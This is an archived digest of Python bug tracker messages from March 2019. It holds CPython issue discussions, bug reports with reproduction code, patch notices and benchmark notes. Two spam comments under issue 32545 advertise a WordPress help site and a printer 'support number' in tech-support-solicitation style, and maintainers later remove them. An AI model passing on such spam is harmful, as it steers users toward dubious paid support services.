Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36283>
_______________________________________

From report at bugs.python.org  Wed Mar 13 19:44:52 2019
From: report at bugs.python.org (Josh Rosenberg)
Date: Wed, 13 Mar 2019 23:44:52 +0000
Subject: [issue36229] Avoid unnecessary copies for list, set,
 and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552520692.48.0.873982851219.issue36229@roundup.psfhosted.org>


Josh Rosenberg <shadowranger+python at gmail.com> added the comment:

I believe Tim Peters's concern with:

    Set1 = Set1 & Set2

is misplaced, because he's drawn an analogy with the string concatenation optimization, which *does* handle:

    Str1 = Str1 + Str2

because the optimization is in the ceval loop and can check the subsequent instruction for a "simple store", clearing the target's reference if the target and the left operand are the same thing. This change doesn't try to handle this case, so the only time the optimization takes place is when the only reference to the left hand operand is on the stack (not in any named variable at all).

Tim's concern *would* make it unsafe to extend this patch to apply the target clearing optimization, because at global scope, clearing the target would be observable from __hash__/__eq__ (and from other threads); str is safe because it holds the GIL the whole time, and can't invoke arbitrary Python level code that might release it, set doesn't have that guarantee.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Wed Mar 13 19:47:08 2019
From: report at bugs.python.org (Riccardo Coccioli)
Date: Wed, 13 Mar 2019 23:47:08 +0000
Subject: [issue36284] importlib.import_module() not thread safe if Exception
 is raised (3.4, 3.5)
Message-ID: <1552520828.65.0.116670090756.issue36284@roundup.psfhosted.org>


New submission from Riccardo Coccioli <rcoccioli at gmail.com>:

It seems that importlib.import_module() is not thread-safe if the loaded module raises an Exception on Python 3.4 and 3.5. I didn't find any thread-unsafe related information in Python's documentation.
The frequency of the failure appears to be random.

This is the setup to reproduce the issue:

#----- FILES STRUCTURE
??? fail.py
??? test.py
#-----

#----- CONTENT OF fail.py
ACCESSIBLE = 'accessible'

import nonexistent  # raise RuntimeError('failed') is basically the same

NOT_ACCESSIBLE = 'not accessible'
#-----

#----- CONTENT OF test.py
import importlib
import concurrent.futures


def f():
    try:
        mod = importlib.import_module('fail')
        # importlib.reload(mod)  # WORKAROUND

        try:
            val = mod.NOT_ACCESSIBLE
        except AttributeError as e:
            val = str(e)

        return (mod.__name__, type(mod), mod.ACCESSIBLE, val)
    except ImportError as e:
        return str(e)


with concurrent.futures.ThreadPoolExecutor(max_workers=3) as executor:
    futures = [executor.submit(f) for i in range(5)]
    for future in concurrent.futures.as_completed(futures):
        print(future.result())
#-----

Expected result:
#-----
No module named 'nonexistent'
No module named 'nonexistent'
No module named 'nonexistent'
No module named 'nonexistent'
No module named 'nonexistent'
#-----

Actual result:
#-----
No module named 'nonexistent'
No module named 'nonexistent'
No module named 'nonexistent'
('fail', <class 'module'>, 'accessible', "'module' object has no attribute 'NOT_ACCESSIBLE'")
('fail', <class 'module'>, 'accessible', "'module' object has no attribute 'NOT_ACCESSIBLE'")
#-----

In the unexpected output lines, the module has been "partially" imported. The 'mod' object contains a module object, and trying to access an attribute defined before the import that raises Exception works fine, but trying to access an attribute defined after the failing import, fails.
It seems like the Exception was not properly raised at module load time, but at the same time the module is only partially loaded up to the failing import.

The actual number of half-imported modules varies between runs and picking different values for max_workers and range() and can also be zero (normal behaviour). Also the frequency of the issue varies.
Using multiprocessing.pool.ThreadPool() and apply_async() instead of concurrent.futures.ThreadPoolExecutor has the same effect.

I was able to reproduce the issue with the following Python versions and platforms:
- 3.4.2 and 3.5.3 on Linux Debian
- 3.4.9 and 3.5.6 on macOS High Sierra 10.13.6

While the issue doesn't show up at the best of my knowledge on:
- 3.6.7 and 3.7.2 on macOS High Sierra 10.13.6

Thanks to a colleague suggestion I also found a hacky workaround. Uncommenting the line in test.py marked as 'WORKAROUND' a reload of the module is forced. With that modification the actual result is:
#-----
No module named 'nonexistent'
No module named 'nonexistent'
No module named 'nonexistent'
module fail not in sys.modules
module fail not in sys.modules
#-----

While this doesn't solve the issue per se, it actually raises the same ImportError that the module was supposed to raise in the first place, just with a different message, allowing the code to continue it's normal execution.

----------
components: Library (Lib)
messages: 337887
nosy: Riccardo Coccioli
priority: normal
severity: normal
status: open
title: importlib.import_module() not thread safe if Exception is raised (3.4, 3.5)
type: behavior
versions: Python 3.4, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36284>
_______________________________________

From report at bugs.python.org  Wed Mar 13 19:59:19 2019
From: report at bugs.python.org (Tim Burke)
Date: Wed, 13 Mar 2019 23:59:19 +0000
Subject: [issue36274] http.client cannot send non-ASCII request lines
In-Reply-To: <1552422803.93.0.420596825145.issue36274@roundup.psfhosted.org>
Message-ID: <1552521559.75.0.511936808457.issue36274@roundup.psfhosted.org>


Change by Tim Burke <tim.burke at gmail.com>:


----------
keywords: +patch
pull_requests: +12288
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36274>
_______________________________________

From report at bugs.python.org  Wed Mar 13 19:59:52 2019
From: report at bugs.python.org (Tim Burke)
Date: Wed, 13 Mar 2019 23:59:52 +0000
Subject: [issue36274] http.client cannot send non-ASCII request lines
In-Reply-To: <1552422803.93.0.420596825145.issue36274@roundup.psfhosted.org>
Message-ID: <1552521592.29.0.258731845504.issue36274@roundup.psfhosted.org>


Change by Tim Burke <tim.burke at gmail.com>:


----------
pull_requests: +12289

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36274>
_______________________________________

From report at bugs.python.org  Wed Mar 13 20:00:22 2019
From: report at bugs.python.org (Tim Peters)
Date: Thu, 14 Mar 2019 00:00:22 +0000
Subject: [issue36229] Avoid unnecessary copies for list, set,
 and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552521622.14.0.632047768361.issue36229@roundup.psfhosted.org>


Tim Peters <tim at python.org> added the comment:

Josh, I agree - but do read Armin's response.  The string hack was done inside ceval.c, where we have extraordinary knowledge of context.  Adding similar hacks inside Python C API functions seems to be a non-starter - they can't magically start mutating arguments based on refcounts alone.  Armin's dead-simple example is compelling.

So if this is desirable at all, it would need to get hairier.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Wed Mar 13 20:02:42 2019
From: report at bugs.python.org (Stephan Hohe)
Date: Thu, 14 Mar 2019 00:02:42 +0000
Subject: [issue36285] Integer overflow in array.array.remove()
Message-ID: <1552521762.27.0.553620503066.issue36285@roundup.psfhosted.org>


New submission from Stephan Hohe <sth.dev at tejp.de>:

The array module's `array.remove(x)` iterates over the array, searching for `x`. If the array contains >=2G elements this can overflow the `int` loop variable.

`array__array_reconstructor_impl()` also contains loops with `int` variables that likely have the similar problems.

Changing the loop variables to `Py_ssize_t` fixes the problem. For details see the PR.

----------
components: Extension Modules
messages: 337889
nosy: sth
priority: normal
severity: normal
status: open
title: Integer overflow in array.array.remove()
type: crash
versions: Python 2.7, Python 3.4, Python 3.5, Python 3.6, Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36285>
_______________________________________

From report at bugs.python.org  Wed Mar 13 20:06:47 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Thu, 14 Mar 2019 00:06:47 +0000
Subject: [issue15749] cgitb prints html for text when display disabled.
In-Reply-To: <1345523795.76.0.397222969623.issue15749@psf.upfronthosting.co.za>
Message-ID: <1552522007.25.0.871198874104.issue15749@roundup.psfhosted.org>


Change by R?mi Lapeyre <remi.lapeyre at henki.fr>:


----------
pull_requests: +12290
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15749>
_______________________________________

From report at bugs.python.org  Wed Mar 13 20:07:31 2019
From: report at bugs.python.org (=?utf-8?q?R=C3=A9mi_Lapeyre?=)
Date: Thu, 14 Mar 2019 00:07:31 +0000
Subject: [issue15749] cgitb prints html for text when display disabled.
In-Reply-To: <1345523795.76.0.397222969623.issue15749@psf.upfronthosting.co.za>
Message-ID: <1552522051.12.0.792498651623.issue15749@roundup.psfhosted.org>


R?mi Lapeyre <remi.lapeyre at henki.fr> added the comment:

Hi Cheryl, I updated and converted the path. Could you please review the PR?

----------
nosy: +remi.lapeyre

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue15749>
_______________________________________

From report at bugs.python.org  Wed Mar 13 20:17:53 2019
From: report at bugs.python.org (Stephan Hohe)
Date: Thu, 14 Mar 2019 00:17:53 +0000
Subject: [issue36285] Integer overflow in array.array.remove()
In-Reply-To: <1552521762.27.0.553620503066.issue36285@roundup.psfhosted.org>
Message-ID: <1552522673.47.0.674161748469.issue36285@roundup.psfhosted.org>


Change by Stephan Hohe <sth.dev at tejp.de>:


----------
keywords: +patch
pull_requests: +12291
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36285>
_______________________________________

From report at bugs.python.org  Wed Mar 13 20:31:51 2019
From: report at bugs.python.org (Barry A. Warsaw)
Date: Thu, 14 Mar 2019 00:31:51 +0000
Subject: [issue31973] Incomplete DeprecationWarning for async/await keywords
In-Reply-To: <1510096549.91.0.213398074469.issue31973@psf.upfronthosting.co.za>
Message-ID: <1552523511.89.0.225787794566.issue31973@roundup.psfhosted.org>


Barry A. Warsaw <barry at python.org> added the comment:

My sense is that we will never fix this, so closing as Won't Fix.

----------
resolution:  -> wont fix
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31973>
_______________________________________

From report at bugs.python.org  Wed Mar 13 20:58:58 2019
From: report at bugs.python.org (=?utf-8?q?=C3=89ric_Araujo?=)
Date: Thu, 14 Mar 2019 00:58:58 +0000
Subject: [issue10948] Trouble with dir_util created dir cache
In-Reply-To: <1295456838.39.0.734609669589.issue10948@psf.upfronthosting.co.za>
Message-ID: <1552525138.39.0.169653735388.issue10948@roundup.psfhosted.org>


?ric Araujo <merwok at netwok.org> added the comment:

Agreed, a doc PR to warn against using any of the distutils *util modules would be useful.

----------
assignee: eric.araujo -> 
components: +Documentation -Distutils
resolution: works for me -> 
stage: resolved -> needs patch
status: closed -> pending
versions: +Python 3.8 -Python 3.1, Python 3.2

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10948>
_______________________________________

From report at bugs.python.org  Wed Mar 13 21:14:40 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Thu, 14 Mar 2019 01:14:40 +0000
Subject: [issue36285] Integer overflow in array.array.remove()
In-Reply-To: <1552521762.27.0.553620503066.issue36285@roundup.psfhosted.org>
Message-ID: <1552526080.91.0.397488831492.issue36285@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +serhiy.storchaka, vstinner

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36285>
_______________________________________

From report at bugs.python.org  Wed Mar 13 21:17:02 2019
From: report at bugs.python.org (Karthikeyan Singaravelan)
Date: Thu, 14 Mar 2019 01:17:02 +0000
Subject: [issue36284] importlib.import_module() not thread safe if Exception
 is raised (3.4, 3.5)
In-Reply-To: <1552520828.65.0.116670090756.issue36284@roundup.psfhosted.org>
Message-ID: <1552526222.84.0.500941028386.issue36284@roundup.psfhosted.org>


Change by Karthikeyan Singaravelan <tir.karthi at gmail.com>:


----------
nosy: +brett.cannon

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36284>
_______________________________________

From report at bugs.python.org  Wed Mar 13 23:37:04 2019
From: report at bugs.python.org (Steven D'Aprano)
Date: Thu, 14 Mar 2019 03:37:04 +0000
Subject: [issue36283] eval is needlessly limited
In-Reply-To: <1552519903.9.0.270264105873.issue36283@roundup.psfhosted.org>
Message-ID: <1552534624.63.0.619490180534.issue36283@roundup.psfhosted.org>


Steven D'Aprano <steve+python at pearwood.info> added the comment:

> The footnote about why eval/exec cannot be used for arbitrary code

Which footnote? I see nothing here:

https://docs.python.org/3/library/functions.html#eval

> On that point, I still don't understand why PyObject_GetItem doesn't have a PyDict_CheckExact test ...
> After writing all that out this seems more like an issue with  PyObject_GetItem


One bug report per ticket please.

----------
nosy: +steven.daprano

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36283>
_______________________________________

From report at bugs.python.org  Thu Mar 14 01:04:31 2019
From: report at bugs.python.org (Raymond Hettinger)
Date: Thu, 14 Mar 2019 05:04:31 +0000
Subject: [issue36229] Avoid unnecessary copies for list, set,
 and bytearray ops.
In-Reply-To: <1551994791.27.0.137413280424.issue36229@roundup.psfhosted.org>
Message-ID: <1552539871.62.0.864904853186.issue36229@roundup.psfhosted.org>


Raymond Hettinger <raymond.hettinger at gmail.com> added the comment:

Everyone, thanks for chiming in.  Will mark this as closed/rejected.  For this reasons listed this thread, it isn't a sensible path for us (hairy at best, flat-out wrong at worst).  To the extent people ever have quadratic behavior problem, we already have explicit and clean ways to solve it with the existing API.

----------
resolution:  -> rejected
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36229>
_______________________________________

From report at bugs.python.org  Thu Mar 14 01:56:47 2019
From: report at bugs.python.org (emni clap)
Date: Thu, 14 Mar 2019 05:56:47 +0000
Subject: [issue32545] Unable to install Python 3.7.0a4 on Windows 10 - Error
 0x80070643: Failed to install MSI package.
In-Reply-To: <1515875653.34.0.467229070634.issue32545@psf.upfronthosting.co.za>
Message-ID: <1552543007.73.0.863477131029.issue32545@roundup.psfhosted.org>


emni clap <emniclap at gmail.com> added the comment:

when you get an issue with you website. dont' be worry about it just contact see our site which wordpress website provide the solution related to the website or any issue contact by email.
https://globalcool.org/how-to-create-a-wordpress-website/

----------
nosy: +emniclap

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32545>
_______________________________________

From report at bugs.python.org  Thu Mar 14 01:57:55 2019
From: report at bugs.python.org (emni clap)
Date: Thu, 14 Mar 2019 05:57:55 +0000
Subject: [issue32545] Unable to install Python 3.7.0a4 on Windows 10 - Error
 0x80070643: Failed to install MSI package.
In-Reply-To: <1515875653.34.0.467229070634.issue32545@psf.upfronthosting.co.za>
Message-ID: <1552543075.27.0.914837813936.issue32545@roundup.psfhosted.org>


emni clap <emniclap at gmail.com> added the comment:

Brother Printers frequently indicate technical hitches because of inward reasons. There are numerous reasons which can cause Brother Printer is in an Error State. Call us now to get a reliable solution.
 https://www.brotherprintersupportnumber.com/blog/resolve-brother-printer-error-state-windows-8/

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32545>
_______________________________________

From report at bugs.python.org  Thu Mar 14 02:34:05 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 06:34:05 +0000
Subject: [issue36286] Random failure in test_idle
Message-ID: <1552545245.76.0.0631461322093.issue36286@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

I have got a failure in test_idle:

0:00:21 load avg: 3.40 [ 76/420/1] test_idle failed
test test_idle failed -- Traceback (most recent call last):
  File "/home/serhiy/py/cpython-clinic/Lib/idlelib/idle_test/test_configdialog.py", line 104, in test_fontlist_key
    self.assertNotEqual(down_font, font)
AssertionError: 'Abyssinica SIL' == 'Abyssinica SIL'

It has not reproduced when run test_idle separately.

----------
assignee: terry.reedy
components: IDLE, Tests
messages: 337897
nosy: serhiy.storchaka, terry.reedy
priority: normal
severity: normal
status: open
title: Random failure in test_idle
type: behavior
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36286>
_______________________________________

From report at bugs.python.org  Thu Mar 14 02:39:27 2019
From: report at bugs.python.org (Terry J. Reedy)
Date: Thu, 14 Mar 2019 06:39:27 +0000
Subject: [issue32545] Unable to install Python 3.7.0a4 on Windows 10 - Error
 0x80070643: Failed to install MSI package.
In-Reply-To: <1515875653.34.0.467229070634.issue32545@psf.upfronthosting.co.za>
Message-ID: <1552545567.48.0.126884198041.issue32545@roundup.psfhosted.org>


Change by Terry J. Reedy <tjreedy at udel.edu>:


----------
Removed message: https://bugs.python.org/msg337896

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32545>
_______________________________________

From report at bugs.python.org  Thu Mar 14 02:47:34 2019
From: report at bugs.python.org (Phillip M. Feldman)
Date: Thu, 14 Mar 2019 06:47:34 +0000
Subject: [issue36266] Which module could not be found?
In-Reply-To: <1552505312.67.0.658905493083.issue36266@roundup.psfhosted.org>
Message-ID: <CAB2ViTbakbXwrMfnyQwZN26cr-mX+1i+JNkRa-Qa=v-a8fHpgQ@mail.gmail.com>


Phillip M. Feldman <Phillip.M.Feldman at gmail.com> added the comment:

'Should include "_ssl" somewhere in the message?'  Exactly so.  If a given
import statement imports 30 items, it would be helpful to know which one
caused the hickup.  Thanks!

On Wed, Mar 13, 2019 at 12:28 PM Steve Dower <report at bugs.python.org> wrote:

>
> Steve Dower <steve.dower at python.org> added the comment:
>
> You mean like this:
>
> >>> import _ssl
> Traceback (most recent call last):
>   File "<stdin>", line 1, in <module>
> ImportError: DLL load failed: The specified module could not be found.
>
> Should include "_ssl" somewhere in the message? That's easy enough, but
> it's never been what anyone else has meant when they've asked for this, so
> I assumed you wanted the more helpful message (where it tells you exactly
> which DLL is missing - libcrypto-1_1-x64.dll in this case - and *that's*
> the one we can't do).
>
> ----------
>
> _______________________________________
> Python tracker <report at bugs.python.org>
> <https://bugs.python.org/issue36266>
> _______________________________________
>

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36266>
_______________________________________

From report at bugs.python.org  Thu Mar 14 03:16:31 2019
From: report at bugs.python.org (SilentGhost)
Date: Thu, 14 Mar 2019 07:16:31 +0000
Subject: [issue32545] Unable to install Python 3.7.0a4 on Windows 10 - Error
 0x80070643: Failed to install MSI package.
In-Reply-To: <1515875653.34.0.467229070634.issue32545@psf.upfronthosting.co.za>
Message-ID: <1552547791.71.0.0978160621752.issue32545@roundup.psfhosted.org>


Change by SilentGhost <ghost.adh at runbox.com>:


----------
Removed message: https://bugs.python.org/msg337895

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32545>
_______________________________________

From report at bugs.python.org  Thu Mar 14 03:17:43 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 07:17:43 +0000
Subject: [issue36254] Fix invalid uses of %d in format strings in C
In-Reply-To: <1552214689.25.0.323284895306.issue36254@roundup.psfhosted.org>
Message-ID: <1552547863.85.0.235150597134.issue36254@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
pull_requests: +12292

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36254>
_______________________________________

From report at bugs.python.org  Thu Mar 14 03:27:29 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 07:27:29 +0000
Subject: [issue36284] importlib.import_module() not thread safe if Exception
 is raised (3.4, 3.5)
In-Reply-To: <1552520828.65.0.116670090756.issue36284@roundup.psfhosted.org>
Message-ID: <1552548449.91.0.0939756189706.issue36284@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

3.4 and 3.5 take only security fixes. The only solution of this problem is upgrading to 3.6 or 3.7.

----------
nosy: +serhiy.storchaka
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36284>
_______________________________________

From report at bugs.python.org  Thu Mar 14 03:28:16 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 07:28:16 +0000
Subject: [issue36282] Not accurate error message for exact number of
 positional arguments
In-Reply-To: <1552509892.53.0.404929677362.issue36282@roundup.psfhosted.org>
Message-ID: <1552548496.54.0.421514914614.issue36282@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed
type: behavior -> enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36282>
_______________________________________

From report at bugs.python.org  Thu Mar 14 03:42:03 2019
From: report at bugs.python.org (Yue Sun)
Date: Thu, 14 Mar 2019 07:42:03 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1552549323.11.0.138856947371.issue31904@roundup.psfhosted.org>


Change by Yue Sun <yue.sun at windriver.com>:


----------
pull_requests: +12293

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Thu Mar 14 03:44:29 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 07:44:29 +0000
Subject: [issue36254] Fix invalid uses of %d in format strings in C
In-Reply-To: <1552214689.25.0.323284895306.issue36254@roundup.psfhosted.org>
Message-ID: <1552549469.24.0.189092276632.issue36254@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
pull_requests: +12294

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36254>
_______________________________________

From report at bugs.python.org  Thu Mar 14 03:55:27 2019
From: report at bugs.python.org (Peixing Xin)
Date: Thu, 14 Mar 2019 07:55:27 +0000
Subject: [issue31904] Python should support VxWorks RTOS
In-Reply-To: <1509393393.78.0.213398074469.issue31904@psf.upfronthosting.co.za>
Message-ID: <1552550127.67.0.215401299352.issue31904@roundup.psfhosted.org>


Change by Peixing Xin <peixing.xin at windriver.com>:


----------
pull_requests: +12295

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue31904>
_______________________________________

From report at bugs.python.org  Thu Mar 14 04:04:29 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 14 Mar 2019 08:04:29 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552550669.15.0.283010949251.issue30040@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:

Benchmark result is here.

https://github.com/methane/sandbox/tree/master/2019.01/empty-dict

notes:

* Overhead introduced by PR 1080 (https://bugs.python.org/issue30040#msg337778) is cancelled by first insert optimization.  It is now faster than before.

* PR 12307 (first insert optimization) is about 2x faster on creating & destroy empty dict.  Other performance diff is small.

* PR 12308 (use keys=NULL instead of shared empty keys) is more faster than PR 12307 on some cases, while it requires much `if (md->ma_keys == NULL)` checks.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Thu Mar 14 04:06:22 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 08:06:22 +0000
Subject: [issue36254] Fix invalid uses of %d in format strings in C
In-Reply-To: <1552214689.25.0.323284895306.issue36254@roundup.psfhosted.org>
Message-ID: <1552550782.84.0.663476978828.issue36254@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 2c0d3f454705bb5ccf5f6189f3cf77bbae4f056b by Serhiy Storchaka in branch 'master':
bpo-36254: Fix yet one invalid use of %d in format string in C. (GH-12318)
https://github.com/python/cpython/commit/2c0d3f454705bb5ccf5f6189f3cf77bbae4f056b


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36254>
_______________________________________

From report at bugs.python.org  Thu Mar 14 04:10:44 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 08:10:44 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552551044.93.0.674359031396.issue30040@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

I do not like how much code is needed for such minor optimization.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Thu Mar 14 04:27:17 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 08:27:17 +0000
Subject: [issue36254] Fix invalid uses of %d in format strings in C
In-Reply-To: <1552214689.25.0.323284895306.issue36254@roundup.psfhosted.org>
Message-ID: <1552552037.4.0.892551471424.issue36254@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
pull_requests: +12296

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36254>
_______________________________________

From report at bugs.python.org  Thu Mar 14 04:32:26 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 08:32:26 +0000
Subject: [issue36127] Argument Clinic: inline parsing code for functions with
 keyword parameters
In-Reply-To: <1551202236.03.0.123634318665.issue36127@roundup.psfhosted.org>
Message-ID: <1552552346.0.0.956293338626.issue36127@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 3191391515824fa7f3c573d807f1034c6a28fab3 by Serhiy Storchaka in branch 'master':
bpo-36127: Argument Clinic: inline parsing code for keyword parameters. (GH-12058)
https://github.com/python/cpython/commit/3191391515824fa7f3c573d807f1034c6a28fab3


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36127>
_______________________________________

From report at bugs.python.org  Thu Mar 14 04:47:43 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 08:47:43 +0000
Subject: [issue36254] Fix invalid uses of %d in format strings in C
In-Reply-To: <1552214689.25.0.323284895306.issue36254@roundup.psfhosted.org>
Message-ID: <1552553263.0.0.0437525565429.issue36254@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:


New changeset 783bed4c8daf65a2893d94761ea44af4e3718f4f by Serhiy Storchaka in branch '3.7':
[3.7] bpo-36254: Fix invalid uses of %d in format strings in C. (GH-12264). (GH-12322)
https://github.com/python/cpython/commit/783bed4c8daf65a2893d94761ea44af4e3718f4f


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36254>
_______________________________________

From report at bugs.python.org  Thu Mar 14 05:05:47 2019
From: report at bugs.python.org (yjq)
Date: Thu, 14 Mar 2019 09:05:47 +0000
Subject: [issue33350] WinError 10038 is raised when loop.sock_connect is
 wrapped with asyncio.wait_for
In-Reply-To: <1524588676.0.0.682650639539.issue33350@psf.upfronthosting.co.za>
Message-ID: <1552554347.84.0.930625322244.issue33350@roundup.psfhosted.org>


yjq <yjqiang1 at outlook.com> added the comment:

I'm using python 3.7.2. And I met the same problem.

----------
nosy: +yjqiang

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33350>
_______________________________________

From report at bugs.python.org  Thu Mar 14 05:14:06 2019
From: report at bugs.python.org (Dmitrii Pasechnik)
Date: Thu, 14 Mar 2019 09:14:06 +0000
Subject: [issue36231] no "proper" header files on macOS 10.14 Mojave
In-Reply-To: <1552039427.3.0.599611853277.issue36231@roundup.psfhosted.org>
Message-ID: <1552554846.47.0.935504605123.issue36231@roundup.psfhosted.org>


Dmitrii Pasechnik <dimpase at gmail.com> added the comment:

I won't mind to provide a PR for this. but it is not clear what the goal should be. Is it to build a working OSX Python with as few external to Xcode deps (it seems that only lzma is needed) as possible?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36231>
_______________________________________

From report at bugs.python.org  Thu Mar 14 05:41:01 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 14 Mar 2019 09:41:01 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552556461.41.0.488944023775.issue30040@roundup.psfhosted.org>


Change by Inada Naoki <songofacandy at gmail.com>:


----------
pull_requests: +12297

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue30040>
_______________________________________

From report at bugs.python.org  Thu Mar 14 05:48:05 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 14 Mar 2019 09:48:05 +0000
Subject: [issue36287] Make ast.dump() not output optional default fields
Message-ID: <1552556885.52.0.772295389158.issue36287@roundup.psfhosted.org>


New submission from Serhiy Storchaka <storchaka+cpython at gmail.com>:

Currently ast.dump() outputs values for optional fields even if they are equal to defaults. This makes the output unnecessary verbose.

For example (kind and type_comment are optional):

>>> ast.dump(ast.parse('x = 1'))
"Module(body=[Assign(targets=[Name(id='x', ctx=Store())], value=Constant(value=1, kind=None), type_comment=None)], type_ignores=[])"

----------
components: Library (Lib)
messages: 337907
nosy: benjamin.peterson, brett.cannon, serhiy.storchaka, yselivanov
priority: normal
severity: normal
status: open
title: Make ast.dump() not output optional default fields
type: enhancement
versions: Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36287>
_______________________________________

From report at bugs.python.org  Thu Mar 14 05:54:13 2019
From: report at bugs.python.org (Inada Naoki)
Date: Thu, 14 Mar 2019 09:54:13 +0000
Subject: [issue30040] new empty dict can be more small
In-Reply-To: <1491903560.12.0.959603376514.issue30040@psf.upfronthosting.co.za>
Message-ID: <1552557253.26.0.242060987221.issue30040@roundup.psfhosted.org>


Inada Naoki <songofacandy at gmail.com> added the comment:


New changeset 3fe7fa316f74ed630fbbcdf54564f15cda7cb045 by Inada Naoki in branch 'master':
bpo-30040: update news entry (GH-12324)
